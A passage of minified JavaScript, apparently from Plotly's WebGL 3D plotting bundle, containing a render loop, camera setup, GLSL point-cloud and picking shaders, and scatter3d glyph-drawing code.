Ke=Ze[0],st=Ze[1],lt=0;lt<3;++lt)Ce[lt]=Math.min(Ce[lt],Ke[lt]),Be[lt]=Math.max(Be[lt],st[lt])}var ut=re.bounds;if(re.autoBounds)for(var lt=0;lt<3;++lt){if(Be[lt]<Ce[lt])Ce[lt]=-1,Be[lt]=1;else{Ce[lt]===Be[lt]&&(Ce[lt]-=1,Be[lt]+=1);var yt=.05*(Be[lt]-Ce[lt]);Ce[lt]=Ce[lt]-yt,Be[lt]=Be[lt]+yt}ut[0][lt]=Ce[lt],ut[1][lt]=Be[lt]}for(var bt=!1,lt=0;lt<3;++lt)bt=bt||be[0][lt]!==ut[0][lt]||be[1][lt]!==ut[1][lt],be[0][lt]=ut[0][lt],be[1][lt]=ut[1][lt];if(j=j||bt,V=V||bt,!!V){if(bt){for(var Ot=[0,0,0],$e=0;$e<3;++$e)Ot[$e]=E((ut[1][$e]-ut[0][$e])/10);G.autoTicks?G.update({bounds:ut,tickSpacing:Ot}):G.update({bounds:ut})}var Ge=I.drawingBufferWidth,Le=I.drawingBufferHeight;K[0]=Ge,K[1]=Le,le[0]=Math.max(Ge/re.pixelRatio,1)|0,le[1]=Math.max(Le/re.pixelRatio,1)|0,m(re,O);for(var $e=0;$e<Oe;++$e){var Xe=ne[$e];Xe.axesBounds=ut,re.clipToBounds&&(Xe.clipBounds=ut)}B.object&&(re.snapToData?q.position=B.dataCoordinate:q.position=B.dataPosition,q.bounds=ut),j&&(j=!1,ke()),re.axesPixels=a(re.axes,ie,Ge,Le),re.onrender&&re.onrender(),I.bindFramebuffer(I.FRAMEBUFFER,null),I.viewport(0,0,Ge,Le),re.clearRGBA(),I.depthMask(!0),I.colorMask(!0,!0,!0,!0),I.enable(I.DEPTH_TEST),I.depthFunc(I.LEQUAL),I.disable(I.BLEND),I.disable(I.CULL_FACE);var Pe=!1;G.enable&&(Pe=Pe||G.isTransparent(),G.draw(ie)),q.axes=G,B.object&&q.draw(ie),I.disable(I.CULL_FACE);for(var $e=0;$e<Oe;++$e){var Xe=ne[$e];Xe.axes=G,Xe.pixelRatio=re.pixelRatio,Xe.isOpaque&&Xe.isOpaque()&&Xe.draw(ie),Xe.isTransparent&&Xe.isTransparent()&&(Pe=!0)}if(Pe){_.shape=K,_.bind(),I.clear(I.DEPTH_BUFFER_BIT),I.colorMask(!1,!1,!1,!1),I.depthMask(!0),I.depthFunc(I.LESS),G.enable&&G.isTransparent()&&G.drawTransparent(ie);for(var $e=0;$e<Oe;++$e){var Xe=ne[$e];Xe.isOpaque&&Xe.isOpaque()&&Xe.draw(ie)}I.enable(I.BLEND),I.blendEquation(I.FUNC_ADD),I.blendFunc(I.ONE,I.ONE_MINUS_SRC_ALPHA),I.colorMask(!0,!0,!0,!0),I.depthMask(!1),I.clearColor(0,0,0,0),I.clear(I.COLOR_BUFFER_BIT),G.isTransparent()&&G.drawTransparent(ie);for(var $e=0;$e<Oe;++$e){var Xe=ne[$e];Xe.isTransparent&&Xe.isTransparent()&&Xe.drawTransparent(ie)}I.bindFramebuffer(I.FRAMEBUFFER,null),I.blendFunc(I.ONE,I.ONE_MINUS_SRC_ALPHA),I.disable(I.DEPTH_TEST),F.bind(),_.color[0].bind(0),F.uniforms.accumBuffer=0,y(I),I.disable(I.BLEND)}V=!1;for(var $e=0;$e<Oe;++$e)ne[$e].dirty=!1}}}function Te(){re._stopped||re.contextLost||(ge(),requestAnimationFrame(Te))}return re.enableMouseListeners(),Te(),re.redraw=function(){re._stopped||(V=!0,ge())},re}function m(n,C){var x=n.bounds,I=n.cameraParams,k=I.projection,B=I.model,_=n.gl.drawingBufferWidth,F=n.gl.drawingBufferHeight,O=n.zNear,z=n.zFar,N=n.fovy,G=_/F;C?(h(k,-G,G,-1,1,O,z),I._ortho=!0):(b(k,N,G,O,z),I._ortho=!1);for(var J=0;J<16;++J)B[J]=0;B[15]=1;for(var q=0,J=0;J<3;++J)q=Math.max(q,x[1][J]-x[0][J]);for(var J=0;J<3;++J)n.autoScale?B[5*J]=n.aspect[J]/(x[1][J]-x[0][J]):B[5*J]=1/q,n.autoCenter&&(B[12+J]=-B[5*J]*.5*(x[0][J]+x[1][J]))}},8023:function(d,g,t){var r=t(6832);g.pointVertex=r([`precision mediump float;
#define GLSLIFY 1

attribute vec2 position;

uniform mat3 matrix;
uniform float pointSize;
uniform float pointCloud;

highp float rand(vec2 co) {
  highp float a = 12.9898;
  highp float b = 78.233;
  highp float c = 43758.5453;
  highp float d = dot(co.xy, vec2(a, b));
  highp float e = mod(d, 3.14);
  return fract(sin(e) * c);
}

void main() {
  vec3 hgPosition = matrix * vec3(position, 1);
  gl_Position  = vec4(hgPosition.xy, 0, hgPosition.z);
    // if we don't jitter the point size a bit, overall point cloud
    // saturation 'jumps' on zooming, which is disturbing and confusing
  gl_PointSize = pointSize * ((19.5 + rand(position)) / 20.0);
  if(pointCloud != 0.0) { // pointCloud is truthy
    // get the same square surface as circle would be
    gl_PointSize *= 0.886;
  }
}`]),g.pointFragment=r([`precision mediump float;
#define GLSLIFY 1

uniform vec4 color, borderColor;
uniform float centerFraction;
uniform float pointCloud;

void main() {
  float radius;
  vec4 baseColor;
  if(pointCloud != 0.0) { // pointCloud is truthy
    if(centerFraction == 1.0) {
      gl_FragColor = color;
    } else {
      gl_FragColor = mix(borderColor, color, centerFraction);
    }
  } else {
    radius = length(2.0 * gl_PointCoord.xy - 1.0);
    if(radius > 1.0) {
      discard;
    }
    baseColor = mix(borderColor, color, step(radius, centerFraction));
    gl_FragColor = vec4(baseColor.rgb * baseColor.a, baseColor.a);
  }
}
`]),g.pickVertex=r([`precision mediump float;
#define GLSLIFY 1

attribute vec2 position;
attribute vec4 pickId;

uniform mat3 matrix;
uniform float pointSize;
uniform vec4 pickOffset;

varying vec4 fragId;

void main() {
  vec3 hgPosition = matrix * vec3(position, 1);
  gl_Position  = vec4(hgPosition.xy, 0, hgPosition.z);
  gl_PointSize = pointSize;

  vec4 id = pickId + pickOffset;
  id.y += floor(id.x / 256.0);
  id.x -= floor(id.x / 256.0) * 256.0;

  id.z += floor(id.y / 256.0);
  id.y -= floor(id.y / 256.0) * 256.0;

  id.w += floor(id.z / 256.0);
  id.z -= floor(id.z / 256.0) * 256.0;

  fragId = id;
}
`]),g.pickFragment=r([`precision mediump float;
#define GLSLIFY 1

varying vec4 fragId;

void main() {
  float radius = length(2.0 * gl_PointCoord.xy - 1.0);
  if(radius > 1.0) {
    discard;
  }
  gl_FragColor = fragId / 255.0;
}
`])},8271:function(d,g,t){var r=t(5158),f=t(5827),a=t(5306),l=t(8023);d.exports=c;function u(b,h,i,v,T){this.plot=b,this.offsetBuffer=h,this.pickBuffer=i,this.shader=v,this.pickShader=T,this.sizeMin=.5,this.sizeMinCap=2,this.sizeMax=20,this.areaRatio=1,this.pointCount=0,this.color=[1,0,0,1],this.borderColor=[0,0,0,1],this.blend=!1,this.pickOffset=0,this.points=null}var s=u.prototype;s.dispose=function(){this.shader.dispose(),this.pickShader.dispose(),this.offsetBuffer.dispose(),this.pickBuffer.dispose(),this.plot.removeObject(this)},s.update=function(b){var h;b=b||{};function i(m,n){return m in b?b[m]:n}this.sizeMin=i("sizeMin",.5),this.sizeMax=i("sizeMax",20),this.color=i("color",[1,0,0,1]).slice(),this.areaRatio=i("areaRatio",1),this.borderColor=i("borderColor",[0,0,0,1]).slice(),this.blend=i("blend",!1);var v=b.positions.length>>>1,T=b.positions instanceof Float32Array,w=b.idToIndex instanceof Int32Array&&b.idToIndex.length>=v,E=b.positions,p=T?E:a.mallocFloat32(E.length),A=w?b.idToIndex:a.mallocInt32(v);if(T||p.set(E),!w)for(p.set(E),h=0;h<v;h++)A[h]=h;this.points=E,this.offsetBuffer.update(p),this.pickBuffer.update(A),T||a.free(p),w||a.free(A),this.pointCount=v,this.pickOffset=0};function y(b,h){var i=0,v=b.length>>>1,T;for(T=0;T<v;T++){var w=b[T*2],E=b[T*2+1];w>=h[0]&&w<=h[2]&&E>=h[1]&&E<=h[3]&&i++}return i}s.unifiedDraw=function(){var b=[1,0,0,0,1,0,0,0,1],h=[0,0,0,0];return function(i){var v=i!==void 0,T=v?this.pickShader:this.shader,w=this.plot.gl,E=this.plot.dataBox;if(this.pointCount===0)return i;var p=E[2]-E[0],A=E[3]-E[1],m=y(this.points,E),n=this.plot.pickPixelRatio*Math.max(Math.min(this.sizeMinCap,this.sizeMin),Math.min(this.sizeMax,this.sizeMax/Math.pow(m,.33333)));b[0]=2/p,b[4]=2/A,b[6]=-2*E[0]/p-1,b[7]=-2*E[1]/A-1,this.offsetBuffer.bind(),T.bind(),T.attributes.position.pointer(),T.uniforms.matrix=b,T.uniforms.color=this.color,T.uniforms.borderColor=this.borderColor,T.uniforms.pointCloud=n<5,T.uniforms.pointSize=n,T.uniforms.centerFraction=Math.min(1,Math.max(0,Math.sqrt(1-this.areaRatio))),v&&(h[0]=i&255,h[1]=i>>8&255,h[2]=i>>16&255,h[3]=i>>24&255,this.pickBuffer.bind(),T.attributes.pickId.pointer(w.UNSIGNED_BYTE),T.uniforms.pickOffset=h,this.pickOffset=i);var C=w.getParameter(w.BLEND),x=w.getParameter(w.DITHER);return C&&!this.blend&&w.disable(w.BLEND),x&&w.disable(w.DITHER),w.drawArrays(w.POINTS,0,this.pointCount),C&&!this.blend&&w.enable(w.BLEND),x&&w.enable(w.DITHER),i+this.pointCount}}(),s.draw=s.unifiedDraw,s.drawPick=s.unifiedDraw,s.pick=function(b,h,i){var v=this.pickOffset,T=this.pointCount;if(i<v||i>=v+T)return null;var w=i-v,E=this.points;return{object:this,pointId:w,dataCoord:[E[2*w],E[2*w+1]]}};function c(b,h){var i=b.gl,v=f(i),T=f(i),w=r(i,l.pointVertex,l.pointFragment),E=r(i,l.pickVertex,l.pickFragment),p=new u(b,v,T,w,E);return p.update(h),b.addObject(p),p}},6093:function(d){d.exports=g;function g(t,r,f,a){var l=r[0],u=r[1],s=r[2],y=r[3],c=f[0],b=f[1],h=f[2],i=f[3],v,T,w,E,p;return T=l*c+u*b+s*h+y*i,T<0&&(T=-T,c=-c,b=-b,h=-h,i=-i),1-T>1e-6?(v=Math.acos(T),w=Math.sin(v),E=Math.sin((1-a)*v)/w,p=Math.sin(a*v)/w):(E=1-a,p=a),t[0]=E*l+p*c,t[1]=E*u+p*b,t[2]=E*s+p*h,t[3]=E*y+p*i,t}},8240:function(d){d.exports=function(g){return!g&&g!==0?"":g.toString()}},4123:function(d,g,t){var r=t(875);d.exports=a;var f={};function a(l,u,s){var y=f[u];if(y||(y=f[u]={}),l in y)return y[l];var c={textAlign:"center",textBaseline:"middle",lineHeight:1,font:u,lineSpacing:1.25,styletags:{breaklines:!0,bolds:!0,italics:!0,subscripts:!0,superscripts:!0}};c.triangles=!0;var b=r(l,c);c.triangles=!1;var h=r(l,c),i,v;if(s&&s!==1){for(i=0;i<b.positions.length;++i)for(v=0;v<b.positions[i].length;++v)b.positions[i][v]/=s;for(i=0;i<h.positions.length;++i)for(v=0;v<h.positions[i].length;++v)h.positions[i][v]/=s}var T=[[1/0,1/0],[-1/0,-1/0]],w=h.positions.length;for(i=0;i<w;++i){var E=h.positions[i];for(v=0;v<2;++v)T[0][v]=Math.min(T[0][v],E[v]),T[1][v]=Math.max(T[1][v],E[v])}return y[l]=[b,h,T]}},9282:function(d,g,t){var r=t(5158),f=t(6832),a=f([`precision highp float;
#define GLSLIFY 1

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

attribute vec3 position;
attribute vec4 color;
attribute vec2 glyph;
attribute vec4 id;

uniform vec4 highlightId;
uniform float highlightScale;
uniform mat4 model, view, projection;
uniform vec3 clipBounds[2];

varying vec4 interpColor;
varying vec4 pickId;
varying vec3 dataCoordinate;

void main() {
  if (outOfRange(clipBounds[0], clipBounds[1], position)) {

    gl_Position = vec4(0,0,0,0);
  } else {
    float scale = 1.0;
    if(distance(highlightId, id) < 0.0001) {
      scale = highlightScale;
    }

    vec4 worldPosition = model * vec4(position, 1);
    vec4 viewPosition = view * worldPosition;
    viewPosition = viewPosition / viewPosition.w;
    vec4 clipPosition = projection * (viewPosition + scale * vec4(glyph.x, -glyph.y, 0, 0));

    gl_Position = clipPosition;
    interpColor = color;
    pickId = id;
    dataCoordinate = position;
  }
}`]),l=f([`precision highp float;
#define GLSLIFY 1

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

attribute vec3 position;
attribute vec4 color;
attribute vec2 glyph;
attribute vec4 id;

uniform mat4 model, view, projection;
uniform vec2 screenSize;
uniform vec3 clipBounds[2];
uniform float highlightScale, pixelRatio;
uniform vec4 highlightId;

varying vec4 interpColor;
varying vec4 pickId;
varying vec3 dataCoordinate;

void main() {
  if (outOfRange(clipBounds[0], clipBounds[1], position)) {

    gl_Position = vec4(0,0,0,0);
  } else {
    float scale = pixelRatio;
    if(distance(highlightId.bgr, id.bgr) < 0.001) {
      scale *= highlightScale;
    }

    vec4 worldPosition = model * vec4(position, 1.0);
    vec4 viewPosition = view * worldPosition;
    vec4 clipPosition = projection * viewPosition;
    clipPosition /= clipPosition.w;

    gl_Position = clipPosition + vec4(screenSize * scale * vec2(glyph.x, -glyph.y), 0.0, 0.0);
    interpColor = color;
    pickId = id;
    dataCoordinate = position;
  }
}`]),u=f([`precision highp float;
#define GLSLIFY 1

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

attribute vec3 position;
attribute vec4 color;
attribute vec2 glyph;
attribute vec4 id;

uniform float highlightScale;
uniform vec4 highlightId;
uniform vec3 axes[2];
uniform mat4 model, view, projection;
uniform vec2 screenSize;
uniform vec3 clipBounds[2];
uniform float scale, pixelRatio;

varying vec4 interpColor;
varying vec4 pickId;
varying vec3 dataCoordinate;

void main() {
  if (outOfRange(clipBounds[0], clipBounds[1], position)) {

    gl_Position = vec4(0,0,0,0);
  } else {
    float lscale = pixelRatio * scale;
    if(distance(highlightId, id) < 0.0001) {
      lscale *= highlightScale;
    }

    vec4 clipCenter   = projection * view * model * vec4(position, 1);
    vec3 dataPosition = position + 0.5*lscale*(axes[0] * glyph.x + axes[1] * glyph.y) * clipCenter.w * screenSize.y;
    vec4 clipPosition = projection * view * model * vec4(dataPosition, 1);

    gl_Position = clipPosition;
    interpColor = color;
    pickId = id;
    dataCoordinate = dataPosition;
  }
}
`]),s=f([`precision highp float;
#define GLSLIFY 1

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

uniform vec3 fragClipBounds[2];
uniform float opacity;

varying vec4 interpColor;
varying vec3 dataCoordinate;

void main() {
  if (
    outOfRange(fragClipBounds[0], fragClipBounds[1], dataCoordinate) ||
    interpColor.a * opacity == 0.
  ) discard;
  gl_FragColor = interpColor * opacity;
}
`]),y=f([`precision highp float;
#define GLSLIFY 1

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

uniform vec3 fragClipBounds[2];
uniform float pickGroup;

varying vec4 pickId;
varying vec3 dataCoordinate;

void main() {
  if (outOfRange(fragClipBounds[0], fragClipBounds[1], dataCoordinate)) discard;

  gl_FragColor = vec4(pickGroup, pickId.bgr);
}`]),c=[{name:"position",type:"vec3"},{name:"color",type:"vec4"},{name:"glyph",type:"vec2"},{name:"id",type:"vec4"}],b={vertex:a,fragment:s,attributes:c},h={vertex:l,fragment:s,attributes:c},i={vertex:u,fragment:s,attributes:c},v={vertex:a,fragment:y,attributes:c},T={vertex:l,fragment:y,attributes:c},w={vertex:u,fragment:y,attributes:c};function E(p,A){var m=r(p,A),n=m.attributes;return n.position.location=0,n.color.location=1,n.glyph.location=2,n.id.location=3,m}g.createPerspective=function(p){return E(p,b)},g.createOrtho=function(p){return E(p,h)},g.createProject=function(p){return E(p,i)},g.createPickPerspective=function(p){return E(p,v)},g.createPickOrtho=function(p){return E(p,T)},g.createPickProject=function(p){return E(p,w)}},2182:function(d,g,t){var r=t(3596),f=t(5827),a=t(2944),l=t(5306),u=t(104),s=t(9282),y=t(4123),c=t(8240),b=[1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1];d.exports=fe;function h(X,W){var V=X[0],Y=X[1],Q=X[2],ie=X[3];return X[0]=W[0]*V+W[4]*Y+W[8]*Q+W[12]*ie,X[1]=W[1]*V+W[5]*Y+W[9]*Q+W[13]*ie,X[2]=W[2]*V+W[6]*Y+W[10]*Q+W[14]*ie,X[3]=W[3]*V+W[7]*Y+W[11]*Q+W[15]*ie,X}function i(X,W,V,Y){return h(Y,Y),h(Y,Y),h(Y,Y)}function v(X,W){this.index=X,this.dataCoordinate=this.position=W}function T(X){return X===!0||X>1?1:X}function w(X,W,V,Y,Q,ie,j,K,oe,re,le,pe){this.gl=X,this.pixelRatio=1,this.shader=W,this.orthoShader=V,this.projectShader=Y,this.pointBuffer=Q,this.colorBuffer=ie,this.glyphBuffer=j,this.idBuffer=K,this.vao=oe,this.vertexCount=0,this.lineVertexCount=0,this.opacity=1,this.hasAlpha=!1,this.lineWidth=0,this.projectScale=[.6666666666666666,.6666666666666666,.6666666666666666],this.projectOpacity=[1,1,1],this.projectHasAlpha=!1,this.pickId=0,this.pickPerspectiveShader=re,this.pickOrthoShader=le,this.pickProjectShader=pe,this.points=[],this._selectResult=new v(0,[0,0,0]),this.useOrtho=!0,this.bounds=[[1/0,1/0,1/0],[-1/0,-1/0,-1/0]],this.axesProject=[!0,!0,!0],this.axesBounds=[[-1/0,-1/0,-1/0],[1/0,1/0,1/0]],this.highlightId=[1,1,1,1],this.highlightScale=2,this.clipBounds=[[-1/0,-1/0,-1/0],[1/0,1/0,1/0]],this.dirty=!0}var E=w.prototype;E.pickSlots=1,E.setPickBase=function(X){this.pickId=X},E.isTransparent=function(){if(this.hasAlpha)return!0;for(var X=0;X<3;++X)if(this.axesProject[X]&&this.projectHasAlpha)return!0;return!1},E.isOpaque=function(){if(!this.hasAlpha)return!0;for(var X=0;X<3;++X)if(this.axesProject[X]&&!this.projectHasAlpha)return!0;return!1};var p=[0,0],A=[0,0,0],m=[0,0,0],n=[0,0,0,1],C=[0,0,0,1],x=b.slice(),I=[0,0,0],k=[[0,0,0],[0,0,0]];function B(X){return X[0]=X[1]=X[2]=0,X}function _(X,W){return X[0]=W[0],X[1]=W[1],X[2]=W[2],X[3]=1,X}function F(X,W,V,Y){return X[0]=W[0],X[1]=W[1],X[2]=W[2],X[V]=Y,X}function O(X){for(var W=k,V=0;V<2;++V)for(var Y=0;Y<3;++Y)W[V][Y]=Math.max(Math.min(X[V][Y],1e8),-1e8);return W}function z(X,W,V,Y){var Q=W.axesProject,ie=W.gl,j=X.uniforms,K=V.model||b,oe=V.view||b,re=V.projection||b,le=W.axesBounds,pe=O(W.clipBounds),we;W.axes&&W.axes.lastCubeProps?we=W.axes.lastCubeProps.axis:we=[1,1,1],p[0]=2/ie.drawingBufferWidth,p[1]=2/ie.drawingBufferHeight,X.bind(),j.view=oe,j.projection=re,j.screenSize=p,j.highlightId=W.highlightId,j.highlightScale=W.highlightScale,j.clipBounds=pe,j.pickGroup=W.pickId/255,j.pixelRatio=Y;for(var xe=0;xe<3;++xe)if(Q[xe]){j.scale=W.projectScale[xe],j.opacity=W.projectOpacity[xe];for(var ke=x,_e=0;_e<16;++_e)ke[_e]=0;for(var _e=0;_e<4;++_e)ke[5*_e]=1;ke[5*xe]=0,we[xe]<0?ke[12+xe]=le[0][xe]:ke[12+xe]=le[1][xe],u(ke,K,ke),j.model=ke;var be=(xe+1)%3,ge=(xe+2)%3,Te=B(A),Fe=B(m);Te[be]=1,Fe[ge]=1;var Oe=i(re,oe,K,_(n,Te)),Ce=i(re,oe,K,_(C,Fe));if(Math.abs(Oe[1])>Math.abs(Ce[1])){var Be=Oe;Oe=Ce,Ce=Be,Be=Te,Te=Fe,Fe=Be;var $e=be;be=ge,ge=$e}Oe[0]<0&&(Te[be]=-1),Ce[1]>0&&(Fe[ge]=-1);for(var Xe=0,Ze=0,_e=0;_e<4;++_e)Xe+=Math.pow(K[4*be+_e],2),Ze+=Math.pow(K[4*ge+_e],2);Te[be]/=Math.sqrt(Xe),Fe[ge]/=Math.sqrt(Ze),j.axes[0]=Te,j.axes[1]=Fe,j.fragClipBounds[0]=F(I,pe[0],xe,-1e8),j.fragClipBounds[1]=F(I,pe[1],xe,1e8),W.vao.bind(),W.vao.draw(ie.TRIANGLES,W.vertexCount),W.lineWidth>0&&(ie.lineWidth(W.lineWidth*Y),W.vao.draw(ie.LINES,W.lineVertexCount,W.vertexCount)),W.vao.unbind()}}var N=[-1e8,-1e8,-1e8],G=[1e8,1e8,1e8],J=[N,G];function q(X,W,V,Y,Q,ie,j){var K=V.gl;if((ie===V.projectHasAlpha||j)&&z(W,V,Y,Q),ie===V.hasAlpha||j){X.bind();var oe=X.uniforms;oe.model=Y.model||b,oe.view=Y.view||b,oe.projection=Y.projection||b,p[0]=2/K.drawingBufferWidth,p[1]=2/K.drawingBufferHeight,oe.screenSize=p,oe.highlightId=V.highlightId,oe.highlightScale=V.highlightScale,oe.fragClipBounds=J,oe.clipBounds=V.axes.bounds,oe.opacity=V.opacity,oe.pickGroup=V.pickId/255,oe.pixelRatio=Q,V.vao.bind(),V.vao.draw(K.TRIANGLES,V.vertexCount),V.lineWidth>0&&(K.lineWidth(V.lineWidth*Q),V.vao.draw(K.LINES,V.lineVertexCount,V.vertexCount)),V.vao.unbind()}}E.draw=function(X){var W=this.useOrtho?this.orthoShader:this.shader;q(W,this.projectShader,this,X,this.pixelRatio,!1,!1)},E.drawTransparent=function(X){var W=this.useOrtho?this.orthoShader:this.shader;q(W,this.projectShader,this,X,this.pixelRatio,!0,!1)},E.drawPick=function(X){var W=this.useOrtho?this.pickOrthoShader:this.pickPerspectiveShader;q(W,this.pickProjectShader,this,X,1,!0,!0)},E.pick=function(X){if(!X||X.id!==this.pickId)return null;var W=X.value[2]+(X.value[1]<<8)+(X.value[0]<<16);if(W>=this.pointCount||W<0)return null;var V=this.points[W],Y=this._selectResult;Y.index=W;for(var Q=0;Q<3;++Q)Y.position[Q]=Y.dataCoordinate[Q]=V[Q];return Y},E.highlight=function(X){if(!X)this.highlightId=[1,1,1,1];else{var W=X.index,V=W&255,Y=W>>8&255,Q=W>>16&255;this.highlightId=[V/255,Y/255,Q/255,0]}};function ne(X,W,V,Y){var Q;Array.isArray(X)?W<X.length?Q=X[W]:Q=void 0:Q=X,Q=c(Q);var ie=!0;r(Q)&&(Q="▼",ie=!1);var j=y(Q,V,Y);return{mesh:j[0],lines:j[1],bounds:j[2],visible:ie}}E.update=function(X){if(X=X||{},"perspective"in X&&(this.useOrtho=!X.perspective),"orthographic"in X&&(this.useOrtho=!!X.orthographic),"lineWidth"in X&&(this.lineWidth=X.lineWidth),"project"in X)if(Array.isArray(X.project))this.axesProject=X.project;else{var W=!!X.project;this.axesProject=[W,W,W]}if("projectScale"in X)if(Array.isArray(X.projectScale))this.projectScale=X.projectScale.slice();else{var V=+X.projectScale;this.projectScale=[V,V,V]}if(this.projectHasAlpha=!1,"projectOpacity"in X){if(Array.isArray(X.projectOpacity))this.projectOpacity=X.projectOpacity.slice();else{var V=+X.projectOpacity;this.projectOpacity=[V,V,V]}for(var Y=0;Y<3;++Y)this.projectOpacity[Y]=T(this.projectOpacity[Y]),this.projectOpacity[Y]<1&&(this.projectHasAlpha=!0)}this.hasAlpha=!1,"opacity"in X&&(this.opacity=T(X.opacity),this.opacity<1&&(this.hasAlpha=!0)),this.dirty=!0;var Q=X.position,ie=X.font||"normal",j=X.alignment||[0,0],K,oe;if(j.length===2)K=j[0],oe=j[1];else{K=[],oe=[];for(var Y=0;Y<j.length;++Y)K[Y]=j[Y][0],oe[Y]=j[Y][1]}var re=[1/0,1/0,1/0],le=[-1/0,-1/0,-1/0],pe=X.glyph,we=X.color,xe=X.size,ke=X.angle,_e=X.lineColor,be=-1,ge=0,Te=0,Fe=0;if(Q.length){Fe=Q.length;e:for(var Y=0;Y<Fe;++Y){for(var Oe=Q[Y],Ce=0;Ce<3;++Ce)if(isNaN(Oe[Ce])||!isFinite(Oe[Ce]))continue e;var Be=ne(pe,Y,ie,this.pixelRatio),$e=Be.mesh,Xe=Be.lines,Ze=Be.bounds;ge+=$e.cells.length*3,Te+=Xe.edges.length*2}}var Ke=ge+Te,st=l.mallocFloat(3*Ke),lt=l.mallocFloat(4*Ke),ut=l.mallocFloat(2*Ke),yt=l.mallocUint32(Ke);if(Ke>0){var bt=0,Ot=ge,Ge=[0,0,0,1],Le=[0,0,0,1],Pe=Array.isArray(we)&&Array.isArray(we[0]),De=Array.isArray(_e)&&Array.isArray(_e[0]);e:for(var Y=0;Y<Fe;++Y){be+=1;for(var Oe=Q[Y],Ce=0;Ce<3;++Ce){if(isNaN(Oe[Ce])||!isFinite(Oe[Ce]))continue e;le[Ce]=Math.max(le[Ce],Oe[Ce]),re[Ce]=Math.min(re[Ce],Oe[Ce])}var Be=ne(pe,Y,ie,this.pixelRatio),$e=Be.mesh,Xe=Be.lines,Ze=Be.bounds,Ee=Be.visible;if(!Ee)Ge=[1,1,1,0];else if(Array.isArray(we)){var ye;if(Pe?Y<we.length?ye=we[Y]:ye=[0,0,0,0]:ye=we,ye.length===3){for(var Ce=0;Ce<3;++Ce)Ge[Ce]=ye[Ce];Ge[3]=1}else if(ye.length===4){for(var Ce=0;Ce<4;++Ce)Ge[Ce]=ye[Ce];!this.hasAlpha&&ye[3]<1&&(this.hasAlpha=!0)}}else Ge[0]=Ge[1]=Ge[2]=0,Ge[3]=1;if(!Ee)Le=[1,1,1,0];else if(Array.isArray(_e)){var ye;if(De?Y<_e.length?ye=_e[Y]:ye=[0,0,0,0]:ye=_e,ye.length===3){for(var Ce=0;Ce<3;++Ce)Le[Ce]=ye[Ce];Le[Ce]=1}else if(ye.length===4){for(var Ce=0;Ce<4;++Ce)Le[Ce]=ye[Ce];!this.hasAlpha&&ye[3]<1&&(this.hasAlpha=!0)}}else Le[0]=Le[1]=Le[2]=0,Le[3]=1;var ae=.5;Ee?Array.isArray(xe)?Y<xe.length?ae=+xe[Y]:ae=12:xe?ae=+xe:this.useOrtho&&(ae=12):ae=0;var de=0;Array.isArray(ke)?Y<ke.length?de=+ke[Y]:de=0:ke&&(de=+ke);for(var Me=Math.cos(de),Ie=Math.sin(de),Oe=Q[Y],Ce=0;Ce<3;++Ce)le[Ce]=Math.max(le[Ce],Oe[Ce]),re[Ce]=Math.min(re[Ce],Oe[Ce]);var Qe=K,et=oe,Qe=0;Array.isArray(K)?Y<K.length?Qe=K[Y]:Qe=0:K&&(Qe=K);var et=0;Array.isArray(oe)?Y<oe.length?et=oe[Y]:et=0:oe&&(et=oe),Qe*=Qe>0?1-Ze[0][0]:Qe<0?1+Ze[1][0]:1,et*=et>0?1-Ze[0][1]:et<0?1+Ze[1][1]:1;for(var pt=[Qe,et],Gt=$e.cells||[],er=$e.positions||[],Ce=0;Ce<Gt.length;++Ce)for(var St=Gt[Ce],_t=0;_t<3;++_t){for(var Ft=0;Ft<3;++Ft)st[3*bt+Ft]=Oe[Ft];for(var Ft=0;Ft<4;++Ft)lt[4*bt+Ft]=Ge[Ft];yt[bt]=be;var 